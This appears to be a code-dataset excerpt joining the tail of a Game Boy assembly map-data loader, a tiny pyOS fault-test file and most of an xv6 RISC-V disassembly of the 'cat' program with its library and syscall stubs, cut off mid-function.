ld [wForceSpecificTextboxID], a
ld [wSpecificTextboxPointer], a
ld [wSpecificTextboxPointer+1], a
call PrintTextVWF
ld hl, $0134
ret
; Copies map headers, subheaders, trainers and itemballs to RAM. They need to
; be loaded at all times, so they can't reside in SRAM.
CopyMapDataToRAM:
ld hl, $DC84
ld de, MapWriteTextInSRAM+5
ld [hl], $c3
inc hl
ld [hl], e
inc hl
ld [hl], d
ld bc, 128 - SCRATCH_RAM_AREA_SIZE
ld hl, MapUtilityEntries + SCRATCH_RAM_AREA_SIZE
ld de, $DF30 + SCRATCH_RAM_AREA_SIZE
call CopyBytes
ld bc, 100
ld hl, MapHeaderEntries
ld de, $DB79
call CopyBytes
ld bc, 200
ld hl, MapTrainerEntries
ld de, $D972
call CopyBytes
; fall through to CopyMapSubheaderEntriesToRAM
; Copies just map subheaders to RAM. They need to be reloaded after every
; battle, since the area allocated for these is reused for trainer rosters.
CopyMapSubheaderEntriesToRAM:
xor a
ldh [hLastTalked], a
ld bc, 256
ld hl, MapSubHeaderEntries
ld de, $D289
jp CopyBytes
; Map headers, subheaders, trainer and itemball data. This is copied to RAM
; when necessary.
MapHeaderEntries:
IF DEF(FINAL_PASS)
incbin "bin/mapdata_headers.bin"
ENDC
MapSubHeaderEntries:
IF DEF(FINAL_PASS)
incbin "bin/mapdata_subheaders.bin"
ENDC
MapUtilityEntries:
IF DEF(FINAL_PASS)
incbin "bin/mapdata_utility.bin"
ENDC
MapTrainerEntries:
IF DEF(FINAL_PASS)
incbin "bin/mapdata_trainers.bin"
ENDC | 19.822171 | 78 | 0.637656 |
8f4749c5b2e28449a51301c2deafa96bb3336c8c | 35 | asm | Assembly | source/asm-example/test-gpf.asm | Cligor/pyOS | d98c5a02f3fff7e7cbab81f3c73d753197620455 | [
"MIT"
] | null | null | null | source/asm-example/test-gpf.asm | Cligor/pyOS | d98c5a02f3fff7e7cbab81f3c73d753197620455 | [
"MIT"
] | null | null | null | source/asm-example/test-gpf.asm | Cligor/pyOS | d98c5a02f3fff7e7cbab81f3c73d753197620455 | [
"MIT"
] | null | null | null | _start:
mov r0, 200
load r1, [r0] | 11.666667 | 14 | 0.628571 |
9736e811397fb02a927b5282922ed1a520c21736 | 42,850 | asm | Assembly | user/cat.asm | Hasnain62/xv6-Procject | 93162ef8e9be42a4b506a1f97bcd7e054bc35ffe | [
"MIT-0"
] | null | null | null | user/cat.asm | Hasnain62/xv6-Procject | 93162ef8e9be42a4b506a1f97bcd7e054bc35ffe | [
"MIT-0"
] | null | null | null | user/cat.asm | Hasnain62/xv6-Procject | 93162ef8e9be42a4b506a1f97bcd7e054bc35ffe | [
"MIT-0"
] | null | null | null |
user/_cat: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: ec26 sd s1,24(sp)
8: e84a sd s2,16(sp)
a: e44e sd s3,8(sp)
c: 1800 addi s0,sp,48
e: 89aa mv s3,a0
int n;
while((n = read(fd, buf, sizeof(buf))) > 0) {
10: 00001917 auipc s2,0x1
14: 98890913 addi s2,s2,-1656 # 998 <buf>
18: 20000613 li a2,512
1c: 85ca mv a1,s2
1e: 854e mv a0,s3
20: 00000097 auipc ra,0x0
24: 382080e7 jalr 898(ra) # 3a2 <read>
28: 84aa mv s1,a0
2a: 02a05963 blez a0,5c <cat+0x5c>
if (write(1, buf, n) != n) {
2e: 8626 mv a2,s1
30: 85ca mv a1,s2
32: 4505 li a0,1
34: 00000097 auipc ra,0x0
38: 376080e7 jalr 886(ra) # 3aa <write>
3c: fc950ee3 beq a0,s1,18 <cat+0x18>
fprintf(2, "cat: write error\n");
40: 00001597 auipc a1,0x1
44: 89058593 addi a1,a1,-1904 # 8d0 <malloc+0xec>
48: 4509 li a0,2
4a: 00000097 auipc ra,0x0
4e: 6b4080e7 jalr 1716(ra) # 6fe <fprintf>
exit(1);
52: 4505 li a0,1
54: 00000097 auipc ra,0x0
58: 336080e7 jalr 822(ra) # 38a <exit>
}
}
if(n < 0){
5c: 00054963 bltz a0,6e <cat+0x6e>
fprintf(2, "cat: read error\n");
exit(1);
}
}
60: 70a2 ld ra,40(sp)
62: 7402 ld s0,32(sp)
64: 64e2 ld s1,24(sp)
66: 6942 ld s2,16(sp)
68: 69a2 ld s3,8(sp)
6a: 6145 addi sp,sp,48
6c: 8082 ret
fprintf(2, "cat: read error\n");
6e: 00001597 auipc a1,0x1
72: 87a58593 addi a1,a1,-1926 # 8e8 <malloc+0x104>
76: 4509 li a0,2
78: 00000097 auipc ra,0x0
7c: 686080e7 jalr 1670(ra) # 6fe <fprintf>
exit(1);
80: 4505 li a0,1
82: 00000097 auipc ra,0x0
86: 308080e7 jalr 776(ra) # 38a <exit>
000000000000008a <main>:
int
main(int argc, char *argv[])
{
8a: 7179 addi sp,sp,-48
8c: f406 sd ra,40(sp)
8e: f022 sd s0,32(sp)
90: ec26 sd s1,24(sp)
92: e84a sd s2,16(sp)
94: e44e sd s3,8(sp)
96: e052 sd s4,0(sp)
98: 1800 addi s0,sp,48
int fd, i;
if(argc <= 1){
9a: 4785 li a5,1
9c: 04a7d763 bge a5,a0,ea <main+0x60>
a0: 00858913 addi s2,a1,8
a4: ffe5099b addiw s3,a0,-2
a8: 02099793 slli a5,s3,0x20
ac: 01d7d993 srli s3,a5,0x1d
b0: 05c1 addi a1,a1,16
b2: 99ae add s3,s3,a1
cat(0);
exit(0);
}
for(i = 1; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
b4: 4581 li a1,0
b6: 00093503 ld a0,0(s2)
ba: 00000097 auipc ra,0x0
be: 310080e7 jalr 784(ra) # 3ca <open>
c2: 84aa mv s1,a0
c4: 02054d63 bltz a0,fe <main+0x74>
fprintf(2, "cat: cannot open %s\n", argv[i]);
exit(1);
}
cat(fd);
c8: 00000097 auipc ra,0x0
cc: f38080e7 jalr -200(ra) # 0 <cat>
close(fd);
d0: 8526 mv a0,s1
d2: 00000097 auipc ra,0x0
d6: 2e0080e7 jalr 736(ra) # 3b2 <close>
for(i = 1; i < argc; i++){
da: 0921 addi s2,s2,8
dc: fd391ce3 bne s2,s3,b4 <main+0x2a>
}
exit(0);
e0: 4501 li a0,0
e2: 00000097 auipc ra,0x0
e6: 2a8080e7 jalr 680(ra) # 38a <exit>
cat(0);
ea: 4501 li a0,0
ec: 00000097 auipc ra,0x0
f0: f14080e7 jalr -236(ra) # 0 <cat>
exit(0);
f4: 4501 li a0,0
f6: 00000097 auipc ra,0x0
fa: 294080e7 jalr 660(ra) # 38a <exit>
fprintf(2, "cat: cannot open %s\n", argv[i]);
fe: 00093603 ld a2,0(s2)
102: 00000597 auipc a1,0x0
106: 7fe58593 addi a1,a1,2046 # 900 <malloc+0x11c>
10a: 4509 li a0,2
10c: 00000097 auipc ra,0x0
110: 5f2080e7 jalr 1522(ra) # 6fe <fprintf>
exit(1);
114: 4505 li a0,1
116: 00000097 auipc ra,0x0
11a: 274080e7 jalr 628(ra) # 38a <exit>
000000000000011e <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
11e: 1141 addi sp,sp,-16
120: e422 sd s0,8(sp)
122: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
124: 87aa mv a5,a0
126: 0585 addi a1,a1,1
128: 0785 addi a5,a5,1
12a: fff5c703 lbu a4,-1(a1)
12e: fee78fa3 sb a4,-1(a5)
132: fb75 bnez a4,126 <strcpy+0x8>
;
return os;
}
134: 6422 ld s0,8(sp)
136: 0141 addi sp,sp,16
138: 8082 ret
000000000000013a <strcmp>:
int
strcmp(const char *p, const char *q)
{
13a: 1141 addi sp,sp,-16
13c: e422 sd s0,8(sp)
13e: 0800 addi s0,sp,16
while(*p && *p == *q)
140: 00054783 lbu a5,0(a0)
144: cb91 beqz a5,158 <strcmp+0x1e>
146: 0005c703 lbu a4,0(a1)
14a: 00f71763 bne a4,a5,158 <strcmp+0x1e>
p++, q++;
14e: 0505 addi a0,a0,1
150: 0585 addi a1,a1,1
while(*p && *p == *q)
152: 00054783 lbu a5,0(a0)
156: fbe5 bnez a5,146 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
158: 0005c503 lbu a0,0(a1)
}
15c: 40a7853b subw a0,a5,a0
160: 6422 ld s0,8(sp)
162: 0141 addi sp,sp,16
164: 8082 ret
0000000000000166 <strlen>:
uint
strlen(const char *s)
{
166: 1141 addi sp,sp,-16
168: e422 sd s0,8(sp)
16a: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
16c: 00054783 lbu a5,0(a0)
170: cf91 beqz a5,18c <strlen+0x26>
172: 0505 addi a0,a0,1
174: 87aa mv a5,a0
176: 4685 li a3,1
178: 9e89 subw a3,a3,a0
17a: 00f6853b addw a0,a3,a5
17e: 0785 addi a5,a5,1
180: fff7c703 lbu a4,-1(a5)
184: fb7d bnez a4,17a <strlen+0x14>
;
return n;
}
186: 6422 ld s0,8(sp)
188: 0141 addi sp,sp,16
18a: 8082 ret
for(n = 0; s[n]; n++)
18c: 4501 li a0,0
18e: bfe5 j 186 <strlen+0x20>
0000000000000190 <memset>:
void*
memset(void *dst, int c, uint n)
{
190: 1141 addi sp,sp,-16
192: e422 sd s0,8(sp)
194: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
196: ca19 beqz a2,1ac <memset+0x1c>
198: 87aa mv a5,a0
19a: 1602 slli a2,a2,0x20
19c: 9201 srli a2,a2,0x20
19e: 00a60733 add a4,a2,a0
cdst[i] = c;
1a2: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
1a6: 0785 addi a5,a5,1
1a8: fee79de3 bne a5,a4,1a2 <memset+0x12>
}
return dst;
}
1ac: 6422 ld s0,8(sp)
1ae: 0141 addi sp,sp,16
1b0: 8082 ret
00000000000001b2 <strchr>:
char*
strchr(const char *s, char c)
{
1b2: 1141 addi sp,sp,-16
1b4: e422 sd s0,8(sp)
1b6: 0800 addi s0,sp,16
for(; *s; s++)
1b8: 00054783 lbu a5,0(a0)
1bc: cb99 beqz a5,1d2 <strchr+0x20>
if(*s == c)
1be: 00f58763 beq a1,a5,1cc <strchr+0x1a>
for(; *s; s++)
1c2: 0505 addi a0,a0,1
1c4: 00054783 lbu a5,0(a0)
1c8: fbfd bnez a5,1be <strchr+0xc>
return (char*)s;
return 0;
1ca: 4501 li a0,0
}
1cc: 6422 ld s0,8(sp)
1ce: 0141 addi sp,sp,16
1d0: 8082 ret
return 0;
1d2: 4501 li a0,0
1d4: bfe5 j 1cc <strchr+0x1a>
00000000000001d6 <gets>:
char*
gets(char *buf, int max)
{
1d6: 711d addi sp,sp,-96
1d8: ec86 sd ra,88(sp)
1da: e8a2 sd s0,80(sp)
1dc: e4a6 sd s1,72(sp)
1de: e0ca sd s2,64(sp)
1e0: fc4e sd s3,56(sp)
1e2: f852 sd s4,48(sp)
1e4: f456 sd s5,40(sp)
1e6: f05a sd s6,32(sp)
1e8: ec5e sd s7,24(sp)
1ea: 1080 addi s0,sp,96
1ec: 8baa mv s7,a0
1ee: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
1f0: 892a mv s2,a0
1f2: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
1f4: 4aa9 li s5,10
1f6: 4b35 li s6,13
for(i=0; i+1 < max; ){
1f8: 89a6 mv s3,s1
1fa: 2485 addiw s1,s1,1
1fc: 0344d863 bge s1,s4,22c <gets+0x56>
cc = read(0, &c, 1);
200: 4605 li a2,1
202: faf40593 addi a1,s0,-81
206: 4501 li a0,0
208: 00000097 auipc ra,0x0
20c: 19a080e7 jalr 410(ra) # 3a2 <read>
if(cc < 1)
210: 00a05e63 blez a0,22c <gets+0x56>
buf[i++] = c;
214: faf44783 lbu a5,-81(s0)
218: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
21c: 01578763 beq a5,s5,22a <gets+0x54>
220: 0905 addi s2,s2,1
222: fd679be3 bne a5,s6,1f8 <gets+0x22>
for(i=0; i+1 < max; ){
226: 89a6 mv s3,s1
228: a011 j 22c <gets+0x56>
22a: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
22c: 99de add s3,s3,s7
22e: 00098023 sb zero,0(s3)
return buf;
}
232: 855e mv a0,s7
234: 60e6 ld ra,88(sp)
236: 6446 ld s0,80(sp)
238: 64a6 ld s1,72(sp)
23a: 6906 ld s2,64(sp)
23c: 79e2 ld s3,56(sp)
23e: 7a42 ld s4,48(sp)
240: 7aa2 ld s5,40(sp)
242: 7b02 ld s6,32(sp)
244: 6be2 ld s7,24(sp)
246: 6125 addi sp,sp,96
248: 8082 ret
000000000000024a <stat>:
int
stat(const char *n, struct stat *st)
{
24a: 1101 addi sp,sp,-32
24c: ec06 sd ra,24(sp)
24e: e822 sd s0,16(sp)
250: e426 sd s1,8(sp)
252: e04a sd s2,0(sp)
254: 1000 addi s0,sp,32
256: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
258: 4581 li a1,0
25a: 00000097 auipc ra,0x0
25e: 170080e7 jalr 368(ra) # 3ca <open>
if(fd < 0)
262: 02054563 bltz a0,28c <stat+0x42>
266: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
268: 85ca mv a1,s2
26a: 00000097 auipc ra,0x0
26e: 178080e7 jalr 376(ra) # 3e2 <fstat>
272: 892a mv s2,a0
close(fd);
274: 8526 mv a0,s1
276: 00000097 auipc ra,0x0
27a: 13c080e7 jalr 316(ra) # 3b2 <close>
return r;
}
27e: 854a mv a0,s2
280: 60e2 ld ra,24(sp)
282: 6442 ld s0,16(sp)
284: 64a2 ld s1,8(sp)
286: 6902 ld s2,0(sp)
288: 6105 addi sp,sp,32
28a: 8082 ret
return -1;
28c: 597d li s2,-1
28e: bfc5 j 27e <stat+0x34>
0000000000000290 <atoi>:
int
atoi(const char *s)
{
290: 1141 addi sp,sp,-16
292: e422 sd s0,8(sp)
294: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
296: 00054683 lbu a3,0(a0)
29a: fd06879b addiw a5,a3,-48
29e: 0ff7f793 zext.b a5,a5
2a2: 4625 li a2,9
2a4: 02f66863 bltu a2,a5,2d4 <atoi+0x44>
2a8: 872a mv a4,a0
n = 0;
2aa: 4501 li a0,0
n = n*10 + *s++ - '0';
2ac: 0705 addi a4,a4,1
2ae: 0025179b slliw a5,a0,0x2
2b2: 9fa9 addw a5,a5,a0
2b4: 0017979b slliw a5,a5,0x1
2b8: 9fb5 addw a5,a5,a3
2ba: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
2be: 00074683 lbu a3,0(a4)
2c2: fd06879b addiw a5,a3,-48
2c6: 0ff7f793 zext.b a5,a5
2ca: fef671e3 bgeu a2,a5,2ac <atoi+0x1c>
return n;
}
2ce: 6422 ld s0,8(sp)
2d0: 0141 addi sp,sp,16
2d2: 8082 ret
n = 0;
2d4: 4501 li a0,0
2d6: bfe5 j 2ce <atoi+0x3e>
00000000000002d8 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2d8: 1141 addi sp,sp,-16
2da: e422 sd s0,8(sp)
2dc: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
2de: 02b57463 bgeu a0,a1,306 <memmove+0x2e>
while(n-- > 0)
2e2: 00c05f63 blez a2,300 <memmove+0x28>
2e6: 1602 slli a2,a2,0x20
2e8: 9201 srli a2,a2,0x20
2ea: 00c507b3 add a5,a0,a2
dst = vdst;
2ee: 872a mv a4,a0
*dst++ = *src++;
2f0: 0585 addi a1,a1,1
2f2: 0705 addi a4,a4,1
2f4: fff5c683 lbu a3,-1(a1)
2f8: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
2fc: fee79ae3 bne a5,a4,2f0 <memmove+0x18>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
300: 6422 ld s0,8(sp)
302: 0141 addi sp,sp,16
304: 8082 ret
dst += n;
306: 00c50733 add a4,a0,a2
src += n;
30a: 95b2 add a1,a1,a2
while(n-- > 0)
30c: fec05ae3 blez a2,300 <memmove+0x28>
310: fff6079b addiw a5,a2,-1
314: 1782 slli a5,a5,0x20
316: 9381 srli a5,a5,0x20
318: fff7c793 not a5,a5
31c: 97ba add a5,a5,a4
*--dst = *--src;
31e: 15fd addi a1,a1,-1
320: 177d addi a4,a4,-1
322: 0005c683 lbu a3,0(a1)
326: 00d70023 sb a3,0(a4)
while(n-- > 0)
32a: fee79ae3 bne a5,a4,31e <memmove+0x46>
32e: bfc9 j 300 <memmove+0x28>
0000000000000330 <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
330: 1141 addi sp,sp,-16
332: e422 sd s0,8(sp)
334: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
336: ca05 beqz a2,366 <memcmp+0x36>
338: fff6069b addiw a3,a2,-1
33c: 1682 slli a3,a3,0x20
33e: 9281 srli a3,a3,0x20
340: 0685 addi a3,a3,1
342: 96aa add a3,a3,a0
if (*p1 != *p2) {
344: 00054783 lbu a5,0(a0)
348: 0005c703 lbu a4,0(a1)
34c: 00e79863 bne a5,a4,35c <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
350: 0505 addi a0,a0,1
p2++;
352: 0585 addi a1,a1,1
while (n-- > 0) {
354: fed518e3 bne a0,a3,344 <memcmp+0x14>
}
return 0;
358: 4501 li a0,0
35a: a019 j 360 <memcmp+0x30>
return *p1 - *p2;
35c: 40e7853b subw a0,a5,a4
}
360: 6422 ld s0,8(sp)
362: 0141 addi sp,sp,16
364: 8082 ret
return 0;
366: 4501 li a0,0
368: bfe5 j 360 <memcmp+0x30>
000000000000036a <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
36a: 1141 addi sp,sp,-16
36c: e406 sd ra,8(sp)
36e: e022 sd s0,0(sp)
370: 0800 addi s0,sp,16
return memmove(dst, src, n);
372: 00000097 auipc ra,0x0
376: f66080e7 jalr -154(ra) # 2d8 <memmove>
}
37a: 60a2 ld ra,8(sp)
37c: 6402 ld s0,0(sp)
37e: 0141 addi sp,sp,16
380: 8082 ret
0000000000000382 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
382: 4885 li a7,1
ecall
384: 00000073 ecall
ret
388: 8082 ret
000000000000038a <exit>:
.global exit
exit:
li a7, SYS_exit
38a: 4889 li a7,2
ecall
38c: 00000073 ecall
ret
390: 8082 ret
0000000000000392 <wait>:
.global wait
wait:
li a7, SYS_wait
392: 488d li a7,3
ecall
394: 00000073 ecall
ret
398: 8082 ret
000000000000039a <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
39a: 4891 li a7,4
ecall
39c: 00000073 ecall
ret
3a0: 8082 ret
00000000000003a2 <read>:
.global read
read:
li a7, SYS_read
3a2: 4895 li a7,5
ecall
3a4: 00000073 ecall
ret
3a8: 8082 ret
00000000000003aa <write>:
.global write
write:
li a7, SYS_write
3aa: 48c1 li a7,16
ecall
3ac: 00000073 ecall
ret
3b0: 8082 ret
00000000000003b2 <close>:
.global close
close:
li a7, SYS_close
3b2: 48d5 li a7,21
ecall
3b4: 00000073 ecall
ret
3b8: 8082 ret
00000000000003ba <kill>:
.global kill
kill:
li a7, SYS_kill
3ba: 4899 li a7,6
ecall
3bc: 00000073 ecall
ret
3c0: 8082 ret
00000000000003c2 <exec>:
.global exec
exec:
li a7, SYS_exec
3c2: 489d li a7,7
ecall
3c4: 00000073 ecall
ret
3c8: 8082 ret
00000000000003ca <open>:
.global open
open:
li a7, SYS_open
3ca: 48bd li a7,15
ecall
3cc: 00000073 ecall
ret
3d0: 8082 ret
00000000000003d2 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
3d2: 48c5 li a7,17
ecall
3d4: 00000073 ecall
ret
3d8: 8082 ret
00000000000003da <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
3da: 48c9 li a7,18
ecall
3dc: 00000073 ecall
ret
3e0: 8082 ret
00000000000003e2 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
3e2: 48a1 li a7,8
ecall
3e4: 00000073 ecall
ret
3e8: 8082 ret
00000000000003ea <link>:
.global link
link:
li a7, SYS_link
3ea: 48cd li a7,19
ecall
3ec: 00000073 ecall
ret
3f0: 8082 ret
00000000000003f2 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
3f2: 48d1 li a7,20
ecall
3f4: 00000073 ecall
ret
3f8: 8082 ret
00000000000003fa <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
3fa: 48a5 li a7,9
ecall
3fc: 00000073 ecall
ret
400: 8082 ret
0000000000000402 <dup>:
.global dup
dup:
li a7, SYS_dup
402: 48a9 li a7,10
ecall
404: 00000073 ecall
ret
408: 8082 ret
000000000000040a <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
40a: 48ad li a7,11
ecall
40c: 00000073 ecall
ret
410: 8082 ret
0000000000000412 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
412: 48b1 li a7,12
ecall
414: 00000073 ecall
ret
418: 8082 ret
000000000000041a <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
41a: 48b5 li a7,13
ecall
41c: 00000073 ecall
ret
420: 8082 ret
0000000000000422 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
422: 48b9 li a7,14
ecall
424: 00000073 ecall
ret
428: 8082 ret
000000000000042a <waitstat>:
.global waitstat
waitstat:
li a7, SYS_waitstat
42a: 48d9 li a7,22
ecall
42c: 00000073 ecall
ret
430: 8082 ret
0000000000000432 <btput>:
.global btput
btput:
li a7, SYS_btput
432: 48dd li a7,23
ecall
434: 00000073 ecall
ret
438: 8082 ret
000000000000043a <tput>:
.global tput
tput:
li a7, SYS_tput
43a: 48e1 li a7,24
ecall
43c: 00000073 ecall
ret
440: 8082 ret
0000000000000442 <btget>:
.global btget
btget:
li a7, SYS_btget
442: 48e5 li a7,25
ecall
444: 00000073 ecall
ret
448: 8082 ret
000000000000044a <tget>:
.global tget
tget:
li a7, SYS_tget
44a: 48e9 li a7,26
ecall
44c: 00000073 ecall
ret
450: 8082 ret
0000000000000452 <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
452: 1101 addi sp,sp,-32
454: ec06 sd ra,24(sp)
456: e822 sd s0,16(sp)
458: 1000 addi s0,sp,32
45a: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
45e: 4605 li a2,1
460: fef40593 addi a1,s0,-17
464: 00000097 auipc ra,0x0
468: f46080e7 jalr -186(ra) # 3aa <write>
}
46c: 60e2 ld ra,24(sp)
46e: 6442 ld s0,16(sp)
470: 6105 addi sp,sp,32
472: 8082 ret
0000000000000474 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
474: 7139 addi sp,sp,-64
476: fc06 sd ra,56(sp)
478: f822 sd s0,48(sp)
47a: f426 sd s1,40(sp)
47c: f04a sd s2,32(sp)
47e: ec4e sd s3,24(sp)
480: 0080 addi s0,sp,64
482: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
484: c299 beqz a3,48a <printint+0x16>
486: 0805c963 bltz a1,518 <printint+0xa4>
neg = 1;
x = -xx;
} else {
x = xx;
48a: 2581 sext.w a1,a1
neg = 0;
48c: 4881 li a7,0
48e: fc040693 addi a3,s0,-64
}
i = 0;
492: 4701 li a4,0
do{
buf[i++] = digits[x % base];
494: 2601 sext.w a2,a2
496: 00000517 auipc a0,0x0
49a: 4e250513 addi a0,a0,1250 # 978 <digits>
49e: 883a mv a6,a4
4a0: 2705 addiw a4,a4,1
4a2: 02c5f7bb remuw a5,a1,a2
4a6: 1782 slli a5,a5,0x20
4a8: 9381 srli a5,a5,0x20
4aa: 97aa add a5,a5,a0
4ac: 0007c783 lbu a5,0(a5)
4b0: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
4b4: 0005879b sext.w a5,a1
4b8: 02c5d5bb divuw a1,a1,a2
4bc: 0685 addi a3,a3,1
4be: fec7f0e3 bgeu a5,a2,49e <printint+0x2a>
if(neg)
4c2: 00088c63 beqz a7,4da <printint+0x66>
buf[i++] = '-';
4c6: fd070793 addi a5,a4,-48
4ca: 00878733 add a4,a5,s0
4ce: 02d00793 li a5,45
4d2: fef70823 sb a5,-16(a4)
4d6: 0028071b addiw a4,a6,2
while(--i >= 0)
4da: 02e05863 blez a4,50a <printint+0x96>
4de: fc040793 addi a5,s0,-64
4e2: 00e78933 add s2,a5,a4
4e6: fff78993 addi s3,a5,-1
4ea: 99ba add s3,s3,a4
4ec: 377d addiw a4,a4,-1
4ee: 1702 slli a4,a4,0x20
4f0: 9301 srli a4,a4,0x20
4f2: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
4f6: fff94583 lbu a1,-1(s2)
4fa: 8526 mv a0,s1
4fc: 00000097 auipc ra,0x0
500: f56080e7 jalr -170(ra) # 452 <putc>
while(--i >= 0)
504: 197d addi s2,s2,-1
506: ff3918e3 bne s2,s3,4f6 <printint+0x82>
}
50a: 70e2 ld ra,56(sp)
50c: 7442 ld s0,48(sp)
50e: 74a2 ld s1,40(sp)
510: 7902 ld s2,32(sp)
512: 69e2 ld s3,24(sp)
514: 6121 addi sp,sp,64
516: 8082 ret
x = -xx;
518: 40b005bb negw a1,a1
neg = 1;
51c: 4885 li a7,1
x = -xx;
51e: bf85 j 48e <printint+0x1a>
0000000000000520 <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
520: 7119 addi sp,sp,-128
522: fc86 sd ra,120(sp)
524: f8a2 sd s0,112(sp)
526: f4a6 sd s1,104(sp)
528: f0ca sd s2,96(sp)
52a: ecce sd s3,88(sp)
52c: e8d2 sd s4,80(sp)
52e: e4d6 sd s5,72(sp)
530: e0da sd s6,64(sp)
532: fc5e sd s7,56(sp)
534: f862 sd s8,48(sp)
536: f466 sd s9,40(sp)
538: f06a sd s10,32(sp)
53a: ec6e sd s11,24(sp)
53c: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
53e: 0005c903 lbu s2,0(a1)
542: 18090f63 beqz s2,6e0 <vprintf+0x1c0>
546: 8aaa mv s5,a0
548: 8b32 mv s6,a2
54a: 00158493 addi s1,a1,1
state = 0;
54e: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
550: 02500a13 li s4,37
554: 4c55 li s8,21
556: 00000c97 auipc s9,0x0
55a: 3cac8c93 addi s9,s9,970 # 920 <malloc+0x13c>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
s = va_arg(ap, char*);
if(s == 0)
s = "(null)";
while(*s != 0){
55e: 02800d93 li s11,40
putc(fd, 'x');
562: 4d41 li s10,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
564: 00000b97 auipc s7,0x0
568: 414b8b93 addi s7,s7,1044 # 978 <digits>
56c: a839 j 58a <vprintf+0x6a>
putc(fd, c);
56e: 85ca mv a1,s2
570: 8556 mv a0,s5
572: 00000097 auipc ra,0x0
576: ee0080e7 jalr -288(ra) # 452 <putc>
57a: a019 j 580 <vprintf+0x60>
} else if(state == '%'){
57c: 01498d63 beq s3,s4,596 <vprintf+0x76>
for(i = 0; fmt[i]; i++){
580: 0485 addi s1,s1,1
582: fff4c903 lbu s2,-1(s1)
586: 14090d63 beqz s2,6e0 <vprintf+0x1c0>
if(state == 0){
58a: fe0999e3 bnez s3,57c <vprintf+0x5c>
if(c == '%'){
58e: ff4910e3 bne s2,s4,56e <vprintf+0x4e>
state = '%';
592: 89d2 mv s3,s4
594: b7f5 j 580 <vprintf+0x60>
if(c == 'd'){
596: 11490c63 beq s2,s4,6ae <vprintf+0x18e>
59a: f9d9079b addiw a5,s2,-99
59e: 0ff7f793 zext.b a5,a5
5a2: 10fc6e63 bltu s8,a5,6be <vprintf+0x19e>
5a6: f9d9079b addiw a5,s2,-99
5aa: 0ff7f713 zext.b a4,a5
5ae: 10ec6863 bltu s8,a4,6be <vprintf+0x19e>
5b2: 00271793 slli a5,a4,0x2
5b6: 97e6 add a5,a5,s9
5b8: 439c lw a5,0(a5)
5ba: 97e6 add a5,a5,s9
5bc: 8782 jr a5
printint(fd, va_arg(ap, int), 10, 1);
5be: 008b0913 addi s2,s6,8
5c2: 4685 li a3,1
5c4: 4629 li a2,10
5c6: 000b2583 lw a1,0(s6)
5ca: 8556 mv a0,s5
5cc: 00000097 auipc ra,0x0
5d0: ea8080e7 jalr -344(ra) # 474 <printint>
5d4: 8b4a mv s6,s2
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5d6: 4981 li s3,0
5d8: b765 j 580 <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
5da: 008b0913 addi s2,s6,8
5de: 4681 li a3,0
5e0: 4629 li a2,10
5e2: 000b2583 lw a1,0(s6)
5e6: 8556 mv a0,s5
5e8: 00000097 auipc ra,0x0
5ec: e8c080e7 jalr -372(ra) # 474 <printint>
5f0: 8b4a mv s6,s2
state = 0;
5f2: 4981 li s3,0
5f4: b771 j 580 <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
5f6: 008b0913 addi s2,s6,8
5fa: 4681 li a3,0
5fc: 866a mv a2,s10
